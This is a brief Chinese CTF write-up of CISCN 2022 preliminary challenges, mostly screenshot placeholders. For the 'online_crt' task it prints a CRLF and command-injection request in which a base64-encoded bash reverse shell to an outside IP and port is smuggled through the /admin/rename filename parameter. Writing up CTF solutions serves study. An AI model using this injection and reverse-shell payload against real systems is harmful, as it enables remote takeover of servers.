2022 CISCN初赛

online_crt

通过以下点进行CRLF触发/admin/rename处修改crt文件名

image-20220529190400224

经过本地多次测试获得payload

image-20220529185958911

uri=/admin%252Frename%3Foldname%3D4c9a3b84-f582-42e2-b1db-21d44c982eb6.crt%26newname%3Dggbond.crt%2522%257Cecho%2520YmFzaCAtaSA%252BJiAvZGV2L3RjcC84Mi4xNTcuMTc0LjIyNi85OTk5IDA%252BJjE%253D%257Cbase64%2520-d%257Cbash%2520-i%2522%20HTTP%2F1.1%0D%0AHost%3A%20admin%0D%0A%0D%0A%0D%0A%0D%0A

image-20220529184940806

请求/createlink触发反弹shell

image-20220529184952467

image-20220529184924918

基于挑战码的双向认证3

在以下俩处分别加入以下代码对应如图：

image-20220529191419031

通过对比login_server.c下面两处分别在login_user.c处添加即可！

image-20220529192047973

image-20220529191245594

image-20220529192106197

image-20220529191257541

posted @ 2023-01-09 10:34  seizer-zyx  阅读(94)  评论(0)  编辑  收藏  举报